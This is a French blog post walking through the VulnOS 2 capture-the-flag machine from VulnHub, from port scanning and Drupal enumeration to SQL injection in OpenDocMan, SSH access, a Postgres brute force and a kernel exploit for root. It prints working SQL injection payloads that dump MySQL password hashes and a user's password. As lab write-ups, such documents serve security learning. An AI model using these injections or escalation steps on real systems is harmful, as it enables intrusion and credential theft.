Accueil Solution du CTF VulnOS: 2 de VulnHub
Post
Annuler

Solution du CTF VulnOS: 2 de VulnHub

Le CTF VulnOS 2 est un boot2root composé de services vulnérables.

Le premier de la série était un peu chargé côté services, c’est l’occasion de voir ce que ce second opus a dans le ventre !

Nitro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Nmap scan report for 192.168.2.4
Host is up (0.00062s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
|   2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
|_  256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: VulnOSv2
6667/tcp open  irc     ngircd
MAC Address: 08:00:27:57:4F:AA (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Network Distance: 1 hop
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ici un serveur Apache et un ngircd…

Quand on se connecte à se dernier on a une invite running version ngircd-21 (i686/pc/linux-gnu). D’après mes recherche il s’agit d’une version maintenue entre 2013 et 2017, pas d’exploits connus.

Comme il n’y a aucun autre utilisateur connecté et aucun channel sur le serveur on se demande bien à quoi sert ce service.

Côté web le module buster de Wapiti permet de trouver une piste différente :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[*] Launching module buster
Found webpage http://192.168.2.4/javascript
Found webpage http://192.168.2.4/jabc/index.php
Found webpage http://192.168.2.4/jabc/templates
Found webpage http://192.168.2.4/jabc/themes
Found webpage http://192.168.2.4/jabc/includes
Found webpage http://192.168.2.4/jabc/modules
Found webpage http://192.168.2.4/jabc/scripts
Found webpage http://192.168.2.4/jabc/robots.txt
Found webpage http://192.168.2.4/jabc/install.php
Found webpage http://192.168.2.4/jabc/misc
Found webpage http://192.168.2.4/jabc/xmlrpc.php
Found webpage http://192.168.2.4/jabc/profiles
Found webpage http://192.168.2.4/jabc/sites

Il s’agit ici d’un Drupal dont la version est facilement identifiable :

1
<meta name="Generator" content="Drupal 7 (http://drupal.org)" />

On note aussi la présence du script xmlrpc.php qui ne se montre pas vulnérable (un exploit est présent dans Metasploit) mais peut s’avérer utile pour énumérer les utilisateurs Drupal par exemple.

Yet another CMS story

Dans un premier temps j’ai eu recours à CMSmap. Le logiciel crashe sur l’énumération des modules car pour chaque module trouvé il effectue une recherche sur exploit-db, sauf qu’il y a maintenant un captcha à passer. On peut passer outre via l’option –noedb mais du coup vu le nombre de modules trouvés ça ne nous facilite pas la tache…

Le logiciel parvient tout de même à trouver un utilisateur webmin.

J’ai décidé de retenter ma chance avec droopescan :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
[+] Themes found:                                                               
    seven http://192.168.2.4/jabc/themes/seven/
    garland http://192.168.2.4/jabc/themes/garland/

[+] No interesting urls found.

[+] Possible version(s):
    7.22
    7.23
    7.24
    7.25
    7.26

[+] Plugins found:
    ctools http://192.168.2.4/jabc/sites/all/modules/ctools/
        http://192.168.2.4/jabc/sites/all/modules/ctools/CHANGELOG.txt
        http://192.168.2.4/jabc/sites/all/modules/ctools/LICENSE.txt
        http://192.168.2.4/jabc/sites/all/modules/ctools/API.txt
    views http://192.168.2.4/jabc/sites/all/modules/views/
        http://192.168.2.4/jabc/sites/all/modules/views/README.txt
        http://192.168.2.4/jabc/sites/all/modules/views/LICENSE.txt
    token http://192.168.2.4/jabc/sites/all/modules/token/
        http://192.168.2.4/jabc/sites/all/modules/token/README.txt
        http://192.168.2.4/jabc/sites/all/modules/token/LICENSE.txt
    libraries http://192.168.2.4/jabc/sites/all/modules/libraries/
        http://192.168.2.4/jabc/sites/all/modules/libraries/CHANGELOG.txt
        http://192.168.2.4/jabc/sites/all/modules/libraries/README.txt
        http://192.168.2.4/jabc/sites/all/modules/libraries/LICENSE.txt
    entity http://192.168.2.4/jabc/sites/all/modules/entity/
        http://192.168.2.4/jabc/sites/all/modules/entity/README.txt
        http://192.168.2.4/jabc/sites/all/modules/entity/LICENSE.txt
    ckeditor http://192.168.2.4/jabc/sites/all/modules/ckeditor/
        http://192.168.2.4/jabc/sites/all/modules/ckeditor/CHANGELOG.txt
        http://192.168.2.4/jabc/sites/all/modules/ckeditor/README.txt
        http://192.168.2.4/jabc/sites/all/modules/ckeditor/LICENSE.txt
    rules http://192.168.2.4/jabc/sites/all/modules/rules/
        http://192.168.2.4/jabc/sites/all/modules/rules/README.txt
        http://192.168.2.4/jabc/sites/all/modules/rules/LICENSE.txt
    addressfield http://192.168.2.4/jabc/sites/all/modules/addressfield/
        http://192.168.2.4/jabc/sites/all/modules/addressfield/LICENSE.txt
    plupload http://192.168.2.4/jabc/sites/all/modules/plupload/
        http://192.168.2.4/jabc/sites/all/modules/plupload/CHANGELOG.txt
        http://192.168.2.4/jabc/sites/all/modules/plupload/README.txt
        http://192.168.2.4/jabc/sites/all/modules/plupload/LICENSE.txt
    commerce http://192.168.2.4/jabc/sites/all/modules/commerce/
        http://192.168.2.4/jabc/sites/all/modules/commerce/README.txt
        http://192.168.2.4/jabc/sites/all/modules/commerce/LICENSE.txt
    image http://192.168.2.4/jabc/modules/image/
    profile http://192.168.2.4/jabc/modules/profile/
    php http://192.168.2.4/jabc/modules/php/

[+] Scan finished (0:00:06.160777 elapsed)

Le directory listing est activé sur les dossiers des modules et on trouve les fichiers avec extension .info qui nous permettent d’avoir plus de précision sur la version de Drupal (7.26).

Il y a bien un exploit qui pourrait toucher cette version mais même en changeant l’URL de la page de login dans le code (car ne correspond pas à notre cas), ça n’aboutit pas.

Chercher des exploits pour les différents modules présents est fastidieux et peut récompensé :(

Bitch please

Finalement sur la section Documentation du Drupal on découvre un texte noir sur fond noir…

For a detailed view and documentation of our products, please visit our documentation platform at /jabcd0cs/ on the server. Just login with guest/guest

Cette URL nous mène à un OpenDocMan. L’accès guest ne nous est pas de grande utilité mais le logiciel est vulnérable à une faille SQL.

sqlmap pataugeait sur l’exploitation, ne voyant pas qu’il ne s’agissait pas d’une exploitation en aveugle il voulait absolument faire une attaque boolean ou time based alors que le PoC affiche avec succès la version de MySQL :-/

On n’est pas des manches, on se retrousse les manches ! Exploitation à l’ancienne directement dans le navigateur et on obtient facilement le nom de la base courante (jabcd0cs) ainsi que les utilisateurs existants (root et phpmyadmin).

Avec une URL comme la suivante on peut obtenir les tables dans cette base (odm_admin, odm_user, odm_settings, etc) :

1
/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,TABLE_NAME,3,4,5,6,7,8,9%20from%20information_schema.tables%20where%20table_schema=0x6A61626364306373

et avec l’injection suivante on obtient les hashs des utilisateurs MySQL :

1
UNION (SELECT 1,concat(User,Password),3,4,5,6,7,8,9 from mysql.user order by User)
1
2
3
root*9CFBBC772F3F6C106020035386DA5BBBF1249A11
phpmyadmin*9CFBBC772F3F6C106020035386DA5BBBF1249A11
drupal7*9CFBBC772F3F6C106020035386DA5BBBF1249A11

Qui correspondent tous à toor.

Je continue d’explorer, trouve encore un utilisateur webmin pour le OpenDocMan et extrait son mot de passe (webmin1980) avec l’injection

1
UNION SELECT distinct 1,password,3,4,5,6,7,8,9 from odm_user where username=0x7765626D696E

Le pied dans la porte

Ces identifiants nous permettent d’avoir un accès SSH :

1
2
3
4
5
6
7
8
9
10
$ id
uid=1001(webmin) gid=1001(webmin) groups=1001(webmin)
$ uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.4 LTS
Release:        14.04
Codename:       trusty

Dans le dossier personnel de l’utilisateur on trouve une archive post.tar.gz qui contient un thc-hydra, ce qui laisserait supposer qu’il faut bruteforcer un compte.

Comme il y a un Postgres qui écoute sur 127.0.0.1 on utilise Hydra qui trouve facilement un compte :

1
[5432][postgres] host: 127.0.0.1   login: postgres   password: postgres

Ne connaissant pas trop Postgres je n’ai pas trouvé la solution officielle qui consistait à se branche sur une autre base pour y trouver le mot de passe de l’utilisateur vulnosadmin puis ouvrir un fichier Blender (wut?)… bref pas de regrets.

J’ai eu le même réflexe que les autres participants du CTF (exploit kernel) :

1
2
3
4
5
6
7
8
9
10
webmin@VulnOSv2:~$ gcc -o overlay overlay.c
webmin@VulnOSv2:~$ ./overlay
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),1001(webmin)

Et le flag attentdu :

1
2
3
4
5
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.

What do you think of A.I.?

La pensée du jour

Comme pour le précédent de la série, ce ne sera pas un CTF qui me laisse un souvenir très positif : un Drupal qui ne sert à rien et un lien en noir sur noir, un scénario officiel irréel et finalement un exploit classique sur le kernel. Meh!

J’ai d’autres walkthrough sur la planche qui devraient venir d’ici peu.

Published March 09 2018 at 13:28

Cet article est sous licence CC BY 4.0 par l'auteur.